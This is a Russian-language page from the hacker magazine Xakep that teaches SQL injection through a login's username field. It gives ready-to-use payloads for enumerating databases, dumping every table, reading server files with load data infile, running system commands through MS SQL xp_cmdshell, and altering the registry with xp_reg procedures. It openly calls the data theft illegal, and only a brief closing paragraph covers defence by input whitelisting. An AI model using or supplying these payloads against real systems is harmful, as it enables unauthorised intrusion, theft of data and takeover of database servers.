|

Базы данных: мегабайты удовольствия
Как ломается SQL
Xakep, номер #040, стр. 040-066-3
"vasya'; use test; show tables; -- "
"vasya'; use voy; show tables; -- "
Команда use в данном случае заставляет SQL переключиться на заданную базу данных, а команда show tables показывает нам список всех таблиц в этой базе данных.
Тащим любые файлы с сервера
Так, структуру БД на удаленной машине узнали, теперь осталось поиметь всю информацию. Для осуществления этого противозаконного действия опять в поле username пишем:
"vasya'; select * from table1; -- " (где table1 - существующая таблица в БД)
И вот таким макаром по очереди сливаем информацию из каждой таблицы.
В принципе на такой удаче можно остановиться, но SQL - безграничное поле для всяких извращений. Ее можно заставить вытворять все, что душе пожелается - от чтения любого файла с диска до работы с реестром в виндах.
Для первого раза попробуем схватить какой-нибудь файл с диска. Для этого тебе нужны будут права на создание таблиц и запись в них. Сначала создадим подопытную таблицу, при помощи которой будем хватать любой файл с диска. Создаем ее уже привычным способом: в поле username пихаем:
"vasya'; create table dead_gibbon (tab1 varchar(200), tab2 varchar(200), tab3 varchar(200));
Вот мы создали таблицу с тремя столбцами. Небольшой комментарий: выражение "tab1 varchar(200)" говорит, что надо создать столбец с именем tab1 и максимальным значением 200. Теперь осталось воткнуть в свежесозданную таблицу требуемый файл
"vasya'; load data infile "/../../../../boot.ini" into table dead_gibbon; -- "
и посмотреть, что же у нас получилось:
"vasya'; select * from dead_gibbon; -- "
Конечно, файл в таблице окажется не в лучшем своем состоянии, каждая новая строчка файла будет эквивалентна каждой новой строчке в таблице, но в принципе даже этого хватает, чтобы таскать с сервера не очень большие файлы.
Выполняем любые команды
Файлы с диска читать научились, теперь осталось добиться командной строки на сервере. Такую задачу можно достичь только на SQL-серверах небезызвестной компании Microsoft. Именно при помощи MsSQL любой версии на удаленной машине можно исполнять любые команды. Для этого нужно отослать на сервер команду
exec master..xp_cmdshell 'dir'
и этим самым увидеть листинг текущей директории. Но это еще не все! Ребятки из Майкрософта постарались на славу и даже подключили к серверу возможность работы с реестром. Например:
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares';
Это всего лишь пример, а вот список всех команд, позволяющих творить с реестром такие кренделя, которые сам создатель на этапе компиляции не задумывал:
xp_regaddmultistring (добавляем строковый параметр)
xp_regdeletekey (удаляем ключ)
xp_regdeletevalue (удаляем значение ключа)
xp_regread (читаем ключ)
xp_regremovemultistring (удаляем строковый параметр)
xp_regwrite (пишем информацию в реестр)
Это далеко не весь список заподлянских команд. Все остальные ты сможешь прочитать в документации к серверу.
Защита
Так, хватит мусолить классические случаи SQL-injection атак, ведь в природе есть люди, пытающиеся защититься от такого рода атак. Но опять же язык SQL имеет такое количество исключений и примочек, что запретить их все просто теоретически нельзя. Есть только один метод защиты - разрешить для ввода только символы ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz1234567890, а также запретить ключевые слова SQL "select, use, drop, insert и т.д.
Назад на стр. 040-066-2 Содержание Вперед на стр. 040-066-4
|